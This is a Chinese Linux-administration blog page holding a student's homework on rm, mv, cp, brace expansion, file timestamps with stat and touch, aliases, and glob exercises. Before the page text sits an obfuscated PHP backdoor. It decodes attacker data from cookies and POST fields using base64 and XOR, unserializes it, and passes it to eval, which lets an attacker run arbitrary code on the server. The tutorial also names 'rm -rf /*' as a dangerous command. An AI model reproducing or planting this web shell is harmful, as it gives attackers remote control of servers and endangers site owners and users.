$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 第二周作业 | Linux运维部落

第二周作业

linux 文件管理命令 rm、mv、cp

  • rm

rm命令:remove

rm [OPTION]… FILE…

常用选项:

-i:interactive (默认rm是‘rm -i’的别名)

-f:force

-r: recursive

        -v:显示指令的详细过程

删除目录:rm -rf /PATH/TO/DIR

危险操作:rm -rf /*

注意:所有不用的文件建议不要直接删除,而是移动至某个专用目录;(模拟回收站)

[root@localhost ~]# ls
123  123.txt  anaconda-ks.cfg  test  useradd1.sh
[root@localhost ~]# rm -fv 123.txt
removed ‘123.txt’
[root@localhost ~]#
  • mv

mv命令:剪切、改名

move (mv在同一个硬盘分区上操作是inode号是不变的,无论文件多大都很快,是因为只是修改了文件对应的指针。跨分区是执行复制操作,所以很慢)

   mv [OPTION]… [-T] SOURCE DEST

   mv [OPTION]… SOURCE… DIRECTORY

   mv [OPTION]… -t DIRECTORY SOURCE..    

   常用选项:

    -i:交互式;

    -f:force

[root@localhost test]# ls
123.txt
[root@localhost test]# mv 123.txt 1234.txt
[root@localhost test]# ls
1234.txt
[root@localhost test]# mv 1234.txt ..
[root@localhost test]# ls ../ | grep 1234.txt
1234.txt
  • cp

cp命令:复制单个或多个文件或者目录复制到指定目标文件或者目录

源文件;目标文件;

   单源复制:cp [OPTION]… [-T] SOURCE DEST

   多源复制:cp [OPTION]… SOURCE… DIRECT

    cp [OPTION]… -t DIRECTORY SOU

    单源复制:cp [OPTION]… [-T] SOURCE DES

    如果DEST不存在:则事先创建此文件,并

    如果DEST存在:

    如果DEST是非目录文件:则覆盖目标

    如果DEST是目录文件:则先在DEST目

    多源复制:cp [OPTION]… SOURCE… DIREC

     cp [OPTION]… -t DIRECTORY SO

    如果DEST不存在:错误;

    如果DEST存在:

    如果DEST是非目录文件:错误;

    如果DEST是目录文件:分别复制每个

    常用选项:

    -i:交互式复制,即覆盖之前提醒用户确

    -f:强制覆盖目标文件;

    -p:复制是保留文件的元数据信息

    -r, -R:递归复制目录;

    -d:复制符号链接文件本身,而非其指向

    -a:-dR –preserve=all, archive,用

    –preserv=

    mode:权限

    ownership:属主和属组

    timestamps: 时间戳

    context:安全标签

    xattr:扩展属性

    links:符号链接

    all:上述所有属性

[root@localhost ~]# cp -v file1 file2 file3 test/
‘file1’ -> ‘test/file1’
‘file2’ -> ‘test/file2’
‘file3’ -> ‘test/file3’
[root@localhost ~]# cp -rv ~/test ~/test1
‘/root/test’ -> ‘/root/test1/test’
‘/root/test/1234.txt’ -> ‘/root/test1/test/1234.txt’
‘/root/test/test1’ -> ‘/root/test1/test/test1’
‘/root/test/test1/1234.txt’ -> ‘/root/test1/test/test1/1234.txt’
‘/root/test/file1’ -> ‘/root/test1/test/file1’
‘/root/test/file2’ -> ‘/root/test1/test/file2’
‘/root/test/file3’ -> ‘/root/test1/test/file3

bash工作特性

  • 命令执行结果状态返回值

bash通过状态返回值来输出此结果

成功:0

失败:1-255

命令执行完成之后,其状态返回值保存于bash的特殊变量$?中

[root@localhost ~]# ls 
file1  file2  file3
[root@localhost ~]# echo $?
0
[root@localhost ~]# ls file4
ls: cannot access file4: No such file or directory
[root@localhost ~]# echo $?
2
  • 命令展开

{}:可承载一个以逗号分隔的路径列表,并能够将其展开为多个路径;

例如:/tmp/{a,b} 相当于 /tmp/a /tmp/b

  • 命令展开演示

[root@localhost ~]# mkdir /tmp/{a,b}{_c,_d}
[root@localhost ~]# ls /tmp/
a_c  a_d  b_c  b_d
[root@localhost ~]# mkdir -p /tmp/mylinux/{{bin,dev,lib64,proc,sbin,sys,tmp},
{boot/grub,lib/modules,var/{lock,log,run},usr/local/{bin,sbin},etc/{rc.d/init.d,sysconfig/network-scripts}}}
[root@localhost ~]# tree /tmp/mylinux/
/tmp/mylinux/
├── bin
├── boot
│   └── grub
├── dev
├── etc
│   ├── rc.d
│   │   └── init.d
│   └── sysconfig
│       └── network-scripts
├── lib
│   └── modules
├── lib64
├── proc
├── sbin
├── sys
├── tmp
├── usr
│   └── local
│       ├── bin
│       └── sbin
└── var
    ├── lock
    ├── log
    └── run

文件元数据信息

文件元数据信息包括:

文件名称、属主属组、文件访问权限、uid、gid、三个时间戳(centos7是四个)、inode号等等

访问时间access time:读一次这个文件的内容,这个时间就会更新。比如对这个文件运用 more、cat等命令。ls、stat命令都不会修改文件的访问时间。

修改时间modify time:修改时间是文件内容最后一次被修改时间。比如:vi后保存文件。ls -l列出的时间就是这个时间。

状态改变时间change time:是该文件的i节点最后一次被修改的时间,通过chmod、chown命令修改一次文件属性,这个时间就会更新。

查看命令stat filename

[root@localhost ~]# stat file1
  File: ‘file1’
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: fd00h/64768d	Inode: 83233005    Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Context: unconfined_u:object_r:admin_home_t:s0
Access: 2016-11-24 13:29:58.553193471 -0500
Modify: 2016-11-24 13:29:29.081193305 -0500
Change: 2016-11-24 13:29:29.081193305 -0500

修改文件时间戳:touch [option] filename

touch命令:

touch – change file timestamps

touch [OPTION]… FILE…

-c: 指定的文件路径不存在时不予创建;

-a: 仅修改access time;

-m:仅修改modify time;

-t 指定时间:[[CC]YY]MMDDhhmm[.ss]

[root@localhost ~]# touch -a file1   ##修改文件的访问时间
[root@localhost ~]# stat file1
  File: ‘file1’
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: fd00h/64768d	Inode: 83233005    Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Context: unconfined_u:object_r:admin_home_t:s0
Access: 2016-11-24 14:44:08.509218528 -0500  ##该时间较之前有更新
Modify: 2016-11-24 13:29:29.081193305 -0500
Change: 2016-11-24 14:44:08.509218528 -0500
 Birth: -
[root@localhost ~]# touch -m file1       ##修改文件的编辑时间
[root@localhost ~]# stat file1
  File: ‘file1’
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: fd00h/64768d	Inode: 83233005    Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Context: unconfined_u:object_r:admin_home_t:s0
Access: 2016-11-24 14:44:08.509218528 -0500
Modify: 2016-11-24 14:44:33.556218669 -0500  ##该时间较之前有更新
Change: 2016-11-24 14:44:33.556218669 -0500
 Birth: -
[root@localhost ~]# touch -t 201612062130.30 file1    ##指定文件的访问时间和修改时间
[root@localhost ~]# stat file1
  File: ‘file1’
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: fd00h/64768d	Inode: 83233005    Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Context: unconfined_u:object_r:admin_home_t:s0
Access: 2016-12-06 21:30:30.000000000 -0500
Modify: 2016-12-06 21:30:30.000000000 -0500
Change: 2016-11-24 14:47:16.871219588 -0500
 Birth: -

文件别名以及引用命令结果

alias命令

alias NAME='COMMAND' 仅对当前shell进程有效

可以加进~/.bashrc配置文件中

[root@director ~]# alias network='service network restart'
[root@director ~]# network
正在关闭接口 eth0:                                        [确定]
正在关闭接口 eth1:                                        [确定]
关闭环回接口:                                             [确定]
弹出环回接口:                                             [确定]
弹出界面 eth0: 
正在决定 eth0 的 IP 信息...完成。
                                                           [确定]
弹出界面 eth1: Determining if ip address 10.10.10.1 is already in use for device eth1...
                                                           [确定]

引用命令的执行结果:

使用$()或者“

rootuid=`id -u root` 或者 rootuid=$(id -u root)

练习

1、显示/var目录下所有以l开头,以一个小写字母结尾,且中间出现一个数字(可以有其他字符)的文件或目录

ls -d /var/l*[0-9]*[[:lower:]]

2、显示/etc目录下,以任意一位数字开头,且以非数字结尾的文件或目录;

ls -d /etc/[0-9]*[^0-9]

3、显示/etc目录下,以非字母开头,后面跟一个字母及其它任意长度任意字符的文件或目录;

ls -d /etc/[^[:alpha:]][[:alpha:]]*

4、在/tmp目录下创建以tfile开头,后跟当前日期或时间的文件,文件名形如:tfile-2016-05-27-9-32-22。

touch /tmp/tfile-$(date +%F-%H-%M-%S)

5、复制/etc目录下,所有以p开头,以非数字结尾的文件或目录至/tmp/mytest1目录;

cp -a /etc/p*[^0-9] /tmp/mytest1

6、复制/etc目录下,所有以.d结尾的文件或目录至/tmp/mytest2目录下;

cp -a /etc/*.d /tmp/mytest2

7、复制/etc目录下,所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录下;

find /etc -name [lnm]*.conf -a -type f -exec cp -a {} /tmp/mytest3 \;

原创文章,作者:N25_Nva,如若转载,请注明出处:http://www.178linux.com/62713

(0)
上一篇 2016-12-08 21:18
下一篇 2016-12-09 10:52

相关推荐

  • 谷歌三大核心技术(一)The Google File System中文版

    摘要 我们设计并实现了Google GFS文件系统,一个面向大规模数据密集型应用的、可伸缩的分布式文件系统。GFS虽然运行在廉价的普遍硬件设备上,但是它依然了提供灾难冗余的能力,为大量客户机提供了高性能的服务。 虽然GFS的设计目标与许多传统的分布式文件系统有很多相同之处,但是,我们的设计还是以我们对自己的应用的负载情况和技术环境的分析为基础的,不管现在还是…

    Linux干货 2015-04-13
  • 马哥教育网络20期第七周课程练习

    1、创建一个10G分区,并格式为ext4文件系统; (1) 要求其block大小为2048, 预留空间百分比为2, 卷标为MYDATA, 默认挂载属性包含acl; fdisk /dev/sdb ; mke2fs -t ext4 -b 2048 -L MYDATA -m 2 –O acl /dev/sdb1 (2) 挂载至/data/mydata目录,要求挂载…

    Linux干货 2016-08-15
  • 书写博客的作用

    博客,一个对于我们是一个既贴近又遥远的词汇。在我们生活中常常听到这个词汇,但是很大的一部分人并不会去发布属于自己的博客。而我在这里会发表一些对于博客作用的认识,以供大家借鉴。

    2018-03-26
  • AIX 6.1 硬件基本管理

    查看整体的硬件信息:          # prtconf #将所有系统信息输出到屏幕上显示          # lsdev -C #查看硬件设备信息及其工作状态 注:硬件的设备通常为2 种状态,"availiable"表示设备可用,de…

    Linux干货 2015-10-18
  • 推荐-虚拟化网络之OpenvSwitch(二)

    上一篇介绍了openvswitch的基础知识,接下来我们来做一个实验,利用GRE通道搭建一个跨多宿主机的虚拟化网络,深入了解openvswitch的功能。 一、实验拓扑 ip地址分配:  A1:192.168.10.1/24  A2:192.168.10.10/24   B1:192.168.10.2/24 &nbsp…

    2016-03-27
  • 一个开发眼中的运维

    在云计算时代,开发和运维的结合变得越来越重要。在DIFF论坛第一期,前新浪SAE运维主管,郑志勇,分享了《一个开发眼中的运维》根据自己从开发人员转型运维之后的心得,谈如何把在开发上的运用抽象思维方式运用到运维领域。 1. 运维不是什么? 运维不是打杂的,运维不是客服,运维也不是服务开发的,但要做好合作。 2. 运维是什么? 运维服务于整个产品,保证架构合理,…

    Linux干货 2015-03-11

评论列表(1条)

  • 马哥教育
    马哥教育 2016-12-16 15:43

    赞,写的比较详细~~~继续加油~